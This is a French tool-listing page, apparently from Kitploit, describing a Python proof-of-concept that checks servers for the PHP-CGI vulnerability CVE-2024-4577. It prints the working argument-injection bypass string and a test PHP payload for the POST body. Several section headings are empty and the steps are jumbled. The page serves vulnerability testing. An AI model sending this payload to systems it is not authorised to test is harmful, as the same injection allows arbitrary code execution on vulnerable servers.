cve-2024-4577 — Script Python PoC pour tester la vulnérabilité CVE-2024-4577 PHP CGI via query-string injection et POST payload, déterminant la susceptibilité du serveur. | Kitploit

Script de test de vulnérabilité CVE-2024-4577

Ce script Python est un simple outil PoC (Proof of Concept) pour diagnostiquer la dernière vulnérabilité PHP CVE-2024-4577.

⚠️ Cet outil est fourni à des fins de diagnostic de sécurité et ne doit être utilisé que sur vos propres systèmes ou sur des cibles pour lesquelles vous avez obtenu une autorisation préalable.

📌 Aperçu

Cette vulnérabilité exploite le fait que PHP, lorsqu'il fonctionne en mode CGI sous Windows, permet d'injecter des configurations PHP arbitraires et d'exécuter du code via un contournement de caractères multi-octets.

Ce script envoie une requête POST à l'URL cible avec une charge utile de contournement basée sur la chaîne de requête et du code PHP pour déterminer si le système est vulnérable.

✅ Utilisation

1. Vérifier l'installation de Python

python3 --version

2. Installer les dépendances

Injection de la chaîne de contournement de la vulnérabilité :
```
?%ADd+allow_url_include=1+%ADd+auto_prepend_file=php://input
```
Injection de code PHP dans le corps POST :
```
<?php echo 'CVE-2024-4577-TEST'; ?>
```
Si le serveur exécute ce code, la réponse contiendra cette chaîne, permettant de déterminer la vulnérabilité.

Nom du fichier	Description
`cve_2024_4577_test.py`	Script Python de test de vulnérabilité
`README.md`	Document d'utilisation et de description (ce fichier)
`LICENSE.txt`

cve-2024-4577

Populaires

3. Exécuter le script

4. Saisir l'URL cible

🔍 Explication des résultats

💡 Principe de fonctionnement

⚠️ Avertissement

📂 Structure des fichiers

📫 Contact

📝 Licence